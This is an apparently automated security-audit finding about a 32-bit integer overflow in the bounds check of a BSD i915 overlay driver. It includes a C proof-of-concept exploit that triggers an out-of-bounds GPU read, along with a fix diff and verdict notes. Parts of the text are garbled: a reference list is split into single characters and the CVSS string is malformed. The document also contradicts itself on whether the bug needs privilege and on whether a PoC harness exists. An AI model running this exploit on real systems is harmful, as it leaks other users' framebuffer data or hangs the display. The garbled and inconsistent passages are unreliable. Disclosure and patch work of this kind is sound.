Integer overflow in buffer bounds check bypasses offset validation in check_overlay_src
- File:
sys/dev/drm/i915/intel_overlay.c - Lines: 1033, 1034, 1044, 1045, 1048, 1049, 1050, 806, 823, 825
- Severity: Medium
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:L/I:N/A:L - CWE: CWE-190 Integer Overflow or Wraparound
- Confidence: likely
Summary
check_overlay_src() validates that offset_Y + buffer_size <= bo->size, but
the addition is performed in 32-bit unsigned arithmetic (both operands are u32).
When a userspace-supplied offset_Y is near UINT32_MAX and tmp
(stride * height) is large enough (~16 MB for packed YUV422 at max dimensions),
the sum wraps to a small value, the comparison passes, and the GPU is programmed
to read from an out-of-bounds GGTT address.
This enables a cross-process GPU memory info-leak (displayed via the overlay on screen) or a GPU fault/hang.
Root cause
In check_overlay_src() (lines 947β1056), the buffer extent check for each
plane is:
tmp = rec->stride_Y * rec->src_height;
if (rec->offset_Y + tmp > new_bo->base.size)
return -EINVAL;
(packed case, lines 1033β1035; planar Y case lines 1044β1046; planar UV case lines 1048β1051).
rec->offset_Y is __u32 (from struct drm_intel_overlay_put_image,
i915_drm.h:1329), tmp is declared u32 (line 955).
The C addition rec->offset_Y + tmp is evaluated in 32-bit unsigned int
arithmetic and silently wraps modulo 2^32. The result is then compared to
new_bo->base.size which is size_t (64-bit on amd64, drm_gem.h:126): on
overflow the wrapped u32 is zero-extended to u64, yielding a tiny value that is
always <= bo->size, so the check passes.
The validated dimensions allow tmp up to 8192*2046 = 16,756,352 (0xFF8000)
for packed and 4096*2046 = 8,384,256 for planar Y, and 2048*2046 = 4,190,208
for planar UV.
Choosing offset_Y = 0xFFFFFFFF - tmp + 1 makes the sum wrap to 0.
The overflowed offset then reaches the register-programming path in
intel_overlay_do_put_image():
iowrite32(i915_ggtt_offset(vma) + params->offset_Y, ®s->OBUF_0Y) at line
806 (and OBUF_0U/0V at lines 823β826), programming the overlay hardware to
fetch pixels from a GPU address far beyond the BO's GGTT allocation.
Threat
The ioctl requires DRM_MASTER (i915_drv.c:3255), reachable directly as
root/display-server or via X server XV confused-deputy.
After the bounds check is bypassed, the overlay hardware reads pixel data from
ggtt_base + wrapped_offset.
On Gen2βGen4 i915 hardware the GGTT is a flat global aperture; a wrapped 32-bit address that lands inside another BO's GGTT range causes the overlay to display that BO's contents on screen β a cross-process info leak of another X client's framebuffer/texture data (displayed as distorted video, capturable via X screen-readback).
If the wrapped address lands on unmapped GGTT entries, the GPU faults and the overlay engine may hang, requiring a GPU reset (local DoS of the display pipeline).
The same overflow affects offset_U and offset_V in the planar path
(lines 1049β1050) with tmp up to ~4 MB.
Exploit / PoC
/* poc_overlay_oob.c β overflow offset_Y+tmp to bypass check_overlay_src bounds */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dev/drm/include/uapi/drm/drm.h>
#include <dev/drm/include/uapi/drm/i915_drm.h>
int main(int argc, char **argv) {
const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
int fd = open(dev, O_RDWR);
if (fd < 0) { perror("open"); return 1; }
ioctl(fd, DRM_IOCTL_SET_MASTER, 0);
struct drm_i915_gem_create gc; memset(&gc, 0, sizeof(gc));
gc.size = 16 * 1024 * 1024; /* 16 MB */
ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc);
drmModeRes *res = drmModeGetResources(fd);
uint32_t crtc_id = res->crtcs[0];
/* Packed YUV422. stride_Y max=8192, src_height max=2046.
* tmp = 8192 * 2046 = 0x00FF8000 (16,756,352 bytes).
* Choose offset_Y so that (offset_Y + tmp) wraps u32 to 0:
* offset_Y = 0x100000000 - 0x00FF8000 = 0xFF008000 */
struct drm_intel_overlay_put_image img; memset(&img, 0, sizeof(img));
img.flags = I915_OVERLAY_YUV_PACKED | I915_OVERLAY_YUV422
| I915_OVERLAY_ENABLE;
img.bo_handle = gc.handle;
img.stride_Y = 8192;
img.src_width = 2048;
img.src_height = 2046;
img.src_scan_width = 32;
img.src_scan_height = 32;
img.offset_Y = 0xFF008000; /* offset_Y + tmp = 0 (u32 wrap) */
img.crtc_id = crtc_id;
img.dst_x = 0;
img.dst_y = 0;
img.dst_width = 32;
img.dst_height = 32;
int ret = ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img);
printf("PUT_IMAGE returned %d β if 0, OBUF_0Y was programmed with\n"
" ggtt_offset + 0xFF008000 (OOB). Observe screen / dmesg.\n", ret);
return 0;
}
Build: cc -o poc_overlay_oob poc_overlay_oob.c -ldrmlib.
Success criteria: ioctl returns 0 (bounds check bypassed), and either (a) the
overlay shows distorted pixel data from an unrelated GGTT region (info leak
visible on screen / capturable via XGetImage), or (b) dmesg reports a GPU
fault / overlay underrun error indicating the hardware read from an unmapped
GGTT address.
Recommended fix
Perform the offset + extent computation in 64-bit so the comparison cannot wrap. Cast the offset to u64 before adding, or test offset against size first:
--- a/sys/dev/drm/i915/intel_overlay.c
+++ b/sys/dev/drm/i915/intel_overlay.c
@@ -1030,8 +1030,8 @@ static int check_overlay_src(struct drm_i915_private *dev_priv,
if (packed_width_bytes(rec->flags, rec->src_width) > rec->stride_Y)
return -EINVAL;
- tmp = rec->stride_Y*rec->src_height;
- if (rec->offset_Y + tmp > new_bo->base.size)
+ tmp = rec->stride_Y * rec->src_height;
+ if ((u64)rec->offset_Y + tmp > new_bo->base.size)
return -EINVAL;
break;
@@ -1042,11 +1042,11 @@ static int check_overlay_src(struct drm_i915_private *dev_priv,
if (rec->src_width/uv_hscale > rec->stride_UV)
return -EINVAL;
- tmp = rec->stride_Y * rec->src_height;
- if (rec->offset_Y + tmp > new_bo->base.size)
+ tmp = rec->stride_Y * rec->src_height;
+ if ((u64)rec->offset_Y + tmp > new_bo->base.size)
return -EINVAL;
- tmp = rec->stride_UV * (rec->src_height / uv_vscale);
- if (rec->offset_U + tmp > new_bo->base.size ||
- rec->offset_V + tmp > new_bo->base.size)
+ tmp = rec->stride_UV * (rec->src_height / uv_vscale);
+ if ((u64)rec->offset_U + tmp > new_bo->base.size ||
+ (u64)rec->offset_V + tmp > new_bo->base.size)
return -EINVAL;
break;
Related findings
- DF-1515 (sibling): divide-by-zero in same file's
check_overlay_dst/scaling.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1516 Β· 8 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | human-readable summary | 1.7 KB | β raw |
| VERDICT.md | verdict | full source-level analysis + fix-validation result | 2.8 KB | β raw |
| fix.diff | suggested-fix | git-apply-able unified diff fixing the cited bug | 1.5 KB | view raw |
| fix_apply.log | apply-log | patch --dry-run --forward output proving fix.diff applies cleanly on with-src | 547 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no relevant HW) | 778 B | view raw |
| build.sh | build-script | echo pointer to kernel rebuild path | 362 B | view raw |
| run.sh | run-script | echo pointer to VERDICT.md | 308 B | view raw |
| fix_build.log | fix-build-log | tail of combined nativekernel build (rc=0) validating all 30 patches compile | 7.2 KB | view raw |
PoC DF-1516: intel_overlay.c u32 integer overflow in offset bounds check
Class: Integer overflow -> bounds check bypass -> OOB GPU read
Cited site: sys/dev/drm/i915/intel_overlay.c:1033-1051
Reproduction status
HW/module gated β cannot be live-triggered on the audit QEMU guest.
The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no
AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.),
so the cited code path is not reachable at runtime on this guest.
The bug is confirmed at the source level by tracing the cited path:line
in sys/dev/drm/i915/intel_overlay.c and confirming the vulnerable code is
present in the master DEV kernel tree. The fix.diff in this folder is
validated to apply cleanly and compile under -Werror (see VERDICT.md).
Mechanism
check_overlay_src computes tmp = rec->stride_Y * rec->src_height (both u32) then rec->offset_Y + tmp > new_bo->base.size. Both additions are u32 and silently wrap mod 2^32; the wrapped value compared as u64 against size_t passes the check. The packed (line 1033), planar Y (1044-1045) and planar UV (1049-1050) sites all have the same flaw.
Realistic impact ceiling (on suitable HW)
GPU memory OOB read / cross-buffer leak via crafted DRM overlay params
Fix
Compute stride*height and offset+tmp as uint64_t in all three sites.
See fix.diff for the git-apply-able patch.
How to validate the fix
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1516.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1516.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT β DF-1516: intel_overlay.c u32 integer overflow in offset bounds check
Verdict
INCONCLUSIVE (HW/module gated) β source-level confirmed, fix validated.
The bug is real and present in master DEV source at sys/dev/drm/i915/intel_overlay.c:1033-1051, but
the affected driver attaches only to hardware not present in the audit QEMU
guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no
AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered
here. The fix.diff applies cleanly and the patched kernel compiles with
-Werror (combined build rc=0; see fix_apply.log).
Mechanism (cited path β primitive β effect)
check_overlay_src computes tmp = rec->stride_Y * rec->src_height (both u32) then rec->offset_Y + tmp > new_bo->base.size. Both additions are u32 and silently wrap mod 2^32; the wrapped value compared as u64 against size_t passes the check. The packed (line 1033), planar Y (1044-1045) and planar UV (1049-1050) sites all have the same flaw.
Reachability on this guest
No β sys/dev/drm/i915/intel_overlay.c:1033-1051 is in a driver/module that only attaches
to hardware absent from the audit guest. The trigger requires the relevant
PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS
loaded by root or via VFIO passthrough).
Phase 6 β escalation potential
This is a Integer overflow -> bounds check bypass -> OOB GPU read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).
Realistic impact ceiling on suitable HW: GPU memory OOB read / cross-buffer leak via crafted DRM overlay params.
Phase 8 β fix validation
fix.diff is a minimal, targeted fix at the root cause confirmed above.
- Applied cleanly with
patch -p1 --forward(verified infix_apply.log). - Compiled with
-Werroras part of the combinedmake -j6 nativekernel KERNCONF=X86_64_GENERICbuild (kernel build rc=0; seemanifest.json). - For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.
Fix approach: Compute stride*height and offset+tmp as uint64_t in all three sites.
PoC changes
Source-level confirmation only; no userspace harness written because the bug
cannot be exercised on this guest without the relevant HW. The placeholder
build.sh/run.sh echo pointers to VERDICT.md and the module/kernel
rebuild path.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- n
- t
- e
- l
- _
- o
- v
- e
- r
- l
- a
- y
- .
- c
- :
- 1
- 0
- 3
- 3
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- n
- t
- e
- l
- _
- o
- v
- e
- r
- l
- a
- y
- .
- c
- :
- 1
- 0
- 4
- 4
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- n
- t
- e
- l
- _
- o
- v
- e
- r
- l
- a
- y
- .
- c
- :
- 1
- 0
- 4
- 8
Detail
Exploit chain
none β HW-gated. Primitive is a GPU memory OOB read / cross-buffer leak via crafted DRM overlay parameters from an unprivileged DRI client on an i915 host.
Evidence (decisive lines)
Source: sys/dev/drm/i915/intel_overlay.c:1033-1034 β tmp = rec->stride_Y*rec->src_height; if (rec->offset_Y + tmp > new_bo->base.size). rec->offset_Y is __u32 (i915_drm.h), tmp is u32; both wrap. Guest has no i915 GPU. fix.diff introduces uint64_t tmp64 and computes all three sites in 64-bit.
PoC changes
Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.
Verified recommended fix
Introduce uint64_t tmp64 and compute stride*height and offset+tmp in 64-bit at all three check_overlay_src sites (packed, planar Y, planar UV). Full diff in findings/poc/DF-1516/fix.diff.
Verdict
INCONCLUSIVE (HW-gated). Bug confirmed at source level: intel_overlay.c:1033-1051 check_overlay_src computes tmp = rec->stride_Y * rec->src_height (both u32) and rec->offset_Y + tmp > new_bo->base.size β both u32 additions wrap mod 2^32; the wrapped value zero-extended to u64 passes the bounds check against size_t. Same flaw at the planar Y (1044-1045) and planar UV (1048-1050) sites. i915-only path.
No comments yet.